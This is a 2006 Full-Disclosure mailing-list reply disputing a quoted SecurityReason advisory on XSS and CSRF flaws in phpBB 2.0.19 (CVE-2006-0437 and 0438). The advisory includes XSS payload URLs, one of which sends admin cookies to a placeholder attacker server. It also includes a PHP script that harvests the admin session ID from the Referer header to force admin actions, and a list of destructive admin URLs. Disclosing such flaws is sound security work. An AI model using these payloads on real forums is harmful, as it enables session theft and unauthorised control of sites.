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RE: phpBB 2.0.19 Cross Site Request Forgeries and XSSAdmin
From: "Berliner" <berliner.does.not.mean.jelly.donut () googlemail com>
Date: Fri, 3 Feb 2006 14:50:00 +0100

1. Basically all phpBB admin-side options do allow full HTML, including
javascript. That is the intended behaviour, as there are legitimate uses.

phpBB does however check the Session ID before allowing the changes to go to
the database.
Your exploit needs a valid admin session key and you need to get the admin
to visit the page (unless you happen to have a lot of luck with your IP)- be
it by a link or a reflecting page. And even then, it will only work, when
the admin has logged into the ACP prior to running into the trap.

2. That is a general problem with all pages allowing of-site pictures. It
has been discussed on the list before. Most of your examples won't work with
phpBB, due to the missing Session ID in the links.



-----Original Message-----
From: full-disclosure-bounces () lists grok org uk [mailto:full-disclosure-
bounces () lists grok org uk] On Behalf Of Maksymilian Arciemowicz
Sent: Friday, February 03, 2006 2:04 PM
To: full-disclosure () lists grok org uk
Subject: [Full-disclosure] phpBB 2.0.19 Cross Site Request Forgeries and
XSSAdmin

Orginal Source: http://securityreason.com/achievement_securityalert/31

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[phpBB 2.0.19 Cross Site Request Forgeries and XSS Admin]

Author: Maksymilian Arciemowicz (cXIb8O3)
Date: 3.2.2006
from SecurityReason.Com
CVE-2006-0437 for the XSS issues
CVE-2006-0438 for the CSRF issues


- --- 0.Description ---
phpBB is a high powered, fully scalable, and highly customizable Open
Source
bulletin board package. phpBB has a

user-friendly interface, simple and straightforward administration panel,
and
helpful FAQ. Based on the powerful PHP

server language and your choice of MySQL, MS-SQL, PostgreSQL or
Access/ODBC
database servers, phpBB is the ideal

free community solution for all web sites.
Contact with author http://www.phpbb.com/about.php.

- --- 1. XSS admin ---
In admin/admin_smilies.php you can create, modifcate smille. So nothing
special but phpBB don't check what is going to db.

case savenew

- -448-473---
   $smile_code = ( isset($HTTP_POST_VARS['smile_code']) ) ?
$HTTP_POST_VARS['smile_code'] :

$HTTP_GET_VARS['smile_code'];
   $smile_url = ( isset($HTTP_POST_VARS['smile_url']) ) ?
$HTTP_POST_VARS['smile_url'] :

$HTTP_GET_VARS['smile_url'];
   $smile_url = phpbb_ltrim(basename($smile_url), "'");
   $smile_emotion = ( isset($HTTP_POST_VARS['smile_emotion']) ) ?

$HTTP_POST_VARS['smile_emotion'] : $HTTP_GET_VARS['smile_emotion'];
   $smile_code = trim($smile_code);
   $smile_url = trim($smile_url);
   $smile_emotion = trim($smile_emotion);

   // If no code was entered complain ...
   if ($smile_code == '' || $smile_url == '')
   {
    message_die(GENERAL_MESSAGE, $lang['Fields_empty']);
   }

   //
   // Convert < and > to proper htmlentities for parsing.
   //
   $smile_code = str_replace('<', '&lt;', $smile_code);
   $smile_code = str_replace('>', '&gt;', $smile_code);

   //
   // Save the data to the smiley table.
   //
   $sql = "INSERT INTO " . SMILIES_TABLE . " (code, smile_url, emoticon)
    VALUES ('" . str_replace("\'", "''", $smile_code) . "', '" .
str_replace("\'", "''",

$smile_url) . "', '" . str_replace("\'", "''", $smile_emotion) . "')";
   $result = $db->sql_query($sql);
- -448-473---

Only "<" and ">" are restricted.

http://[HOST]/[DIR]/admin/admin_smilies.php?mode=savenew&smile_code=:x:&sm
ile_url=icon_mrgreen.gif&smile_emotion=c"
onmouseover="alert('SecurityReason.Com')" &sid=SIDofADMIN

http://[HOST]/[DIR]/admin/admin_smilies.php?mode=savenew&smile_code=:h:&sm
ile_url=icon_mrgreen.gif"%20onmouseover='alert("SecurityReason.Com")'%20&s
id=SIDofADMIN

http://[HOST]/[DIR]/admin/admin_smilies.php?mode=savenew&smile_code=:q:&sm
ile_url=icon_mrgreen.gif"%20onmouseover="alert(document.location='http://[
SRVER]/cookies?'+document.cookie)"%20&sid=SIDofADMIN

and you have new smile. Ofcourse you can better do exploit. For IE and
etc.


- --- 2. Cross Site Request Forgeries ---
phpBB admin in Administration Panel have SID in url. Ok. Example if you
want
see user profil or split, lock someone

post etc.

Like:
http://[HOST]/[DIR]/admin/admin_users.php?sid=88eafcce6dddcee3fccc08de7ec5
05d0
http://[HOST]/[DIR]/modcp.php?t=2&mode=split&sid=c1db64124b7ced0668dec5900
fed3b35
etc.

If this user have "Link to off-site Avatar" ON or is bbcode (IMG) ON then
you
can create url to script with referer for admin.So when admin open profil
the
url will be executed. Need be referer in request.

Next problem is:

103# if ( !preg_match("#^((ht|f)tp://)([^
\?&=\#\"\n\r\t<]*?(\.(jpg|jpeg|gif|
png))$)#is", $avatar_filename) )

in includes/unsercp_avatar.php.

Why? Because this preg() don't have limit of chars.
In mysql phpbb DB you have (*_users)

user_avatar varchar(100)

only 100 chars will go to db.
So you can post url like

http://[HOST]/[DIR]/script.php/[100 chars].jpg

Sent:
http://[HOST]/[DIR]/script.php/securityreasonsecurityreasonsecurityreasons
ecurityreasonsecurityreasonsecur.jpg

and in db is:
http://[HOST]/[DIR]/script.php/securityreasonsecurityreasonsecurityreasons
ecurityreasonsecurityreasonsecur

or in bbcode (IMG)

http://[HOST]/[DIR]/script.php/securityreason.jpg

Nothing special.. Ok..

You need create new user (nick name can be "FUCKmeADMIN" etc). And upload
one
script. Doesn't need be in serverwhere is phpbb.

- -script.php--
<?php
# SecurityReason.Com writed by Maksymilian Arciemowicz
# Example exploit

$operation='http://[HOST]/[DIR]/admin/admin_smilies.php?mode=savenew&smile
_code=try&smile_url=icon_mrgreen.gif"%20onmouseover=\'alert("SecurityReaso
n.Com)\'%20';
#
http://[host]/admin/admin_smilies.php?mode=savenew&smile_code=a&smile_url=
icon_mrgreen.gif"
onmouseover='alert(document.cookie)'

$sid='';
preg_match('#sid\=?([0-9a-z]*)#i', getenv('HTTP_REFERER'), $sid);

if($sid[1]!=''){
 header("Location: ".$operation."&sid=".$sid[1]);
}

?>
- -script.php--

In this script you need give someone operation. I think, can be:

http://[HOST]/[DIR]/admin/admin_smilies.php?mode=savenew&smile_code=try&sm
ile_url=icon_mrgreen.gif"%20onmouseover=\'alert("SecurityReason.Com)\'%20
create new smilie.. and all char a, change to image with javascript (XSS).

http://[HOST]/[DIR]/admin/admin_smilies.php?mode=delete&id=63
Delete someone smile.

http://[HOST]/[DIR]/admin/admin_words.php?mode=delete&id=1&sid=c1db64124b7
ced0668dec5900fed3b35
Delete word censor.

http://[HOST]/[DIR]/admin/admin_forums.php?mode=forum_order&move=15&f=4
Change position of forum=4.

http://[HOST]/[DIR]/admin/admin_ranks.php?mode=delete&id=4
Delete Rank Administration

http://[HOST]/[DIR]/login.php?logout=true
Logout

etc..

If admin have in url SID and img tag is displaying that this script can
get
SID form HTTP_REFERER and redirect tooperation for admin
(header("Location...")).
Admin can't see result. This XSS in Point 1 can you used for this trick.

Solution is don't displaying <IMG> tags from user where have you SID in
url.
And use POST to any operations like create, remove smilies etc.

- --- 3. Greets ---
sp3x

- --- 4. Contact ---
Author: SecurityReason.Com [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com
GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
SecurityReason.Com
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_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

--
No virus found in this incoming message.
Checked by AVG Free Edition.
Version: 7.1.375 / Virus Database: 267.15.0/248 - Release Date: 01.02.2006


-- 
No virus found in this outgoing message.
Checked by AVG Free Edition.
Version: 7.1.375 / Virus Database: 267.15.0/248 - Release Date: 01.02.2006
 

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


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